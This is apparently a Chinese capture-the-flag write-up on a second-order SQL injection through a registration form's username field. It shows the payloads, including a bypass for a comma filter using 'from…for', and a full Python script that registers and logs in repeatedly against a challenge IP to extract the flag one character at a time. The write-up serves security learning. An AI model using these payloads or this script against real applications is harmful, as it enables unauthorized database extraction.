打开题目,
弱口令尝试,失败,sqlmap跑注入点,也失败。
dirsearch扫一下看看
[13:55:42] 200 - 2KB - /register.php
发现一个注册页面,继续尝试sqlmap,还是什么反应都没有,只好随便注册一个东西看看,注册登录之后,页面只有一副插图
但是右边有个侧边栏
这里的123是刚才注册时填写的用户名,猜测这里存在二次注入,猜测sql语句应该是:
insert into tables values('$email','$username','$password')
因为需要闭合单引号,所以需要用一点特殊技巧。
sql中的+运算类似php:
MariaDB [(none)]> select '0'+'1';+---------+| '0'+'1' |+---------+| 1 |+---------+1 row in set (0.002 sec)
查询数据库的第一个字符的ascii:
MariaDB [mysql]> select '0'+ascii(substr(database(),1,1));+-----------------------------------+| '0'+ascii(substr(database(),1,1)) |+-----------------------------------+| 109 |+-----------------------------------+1 row in set (0.001 sec)
那么就可以构造注入语句:
insert into tables values('admin@admin.com','0'+ascii(substr((select database()),1,1))+'0','admin')
但是因为,也被过滤了,所以使用from…for:
insert into tables values('admin@admin.com','0'+ascii(substr((select database()) from 1 for 1))+'0','admin')
上个脚本跑出来flag:
#!/usr/bin/env python# -*- coding: utf-8 -*-import requestsfrom bs4 import BeautifulSoupreg_url="http://220.249.52.134:54531/register.php"log_url="http://220.249.52.134:54531/login.php"def get_database():database_name = ""for i in range(10):reg_data={"username":"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0","email":"attack@qq.com"+str(i+1),"password":"attack"}log_data={"email":"attack@qq.com"+str(i+1),"password":"attack"}r=requests.post(url=reg_url,data=reg_data)r=requests.post(url=log_url,data=log_data)for i in get_name_from_ascii(r.content):database_name+=ireturn database_namedef get_flag():flag = ""for i in range(50):reg_data = {"username": "0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0","email": "attack@qq.com1"+str(i+1),"password": "attack"}log_data = {"email": "attack@qq.com1"+str(i+1),"password": "attack"}r = requests.post(url=reg_url, data=reg_data)r = requests.post(url=log_url, data=log_data)for i in get_name_from_ascii(r.content):flag += iprint(flag)def get_name_from_ascii(content):soup=BeautifulSoup(content,"html5lib")name = soup.find("span", class_="user-name").get_text()if name.strip()!="0":yield chr(int(name.strip()))if __name__=="__main__":get_flag()
原本是应该跑出来表名,但是information被过滤了,没办法,只能猜表名。
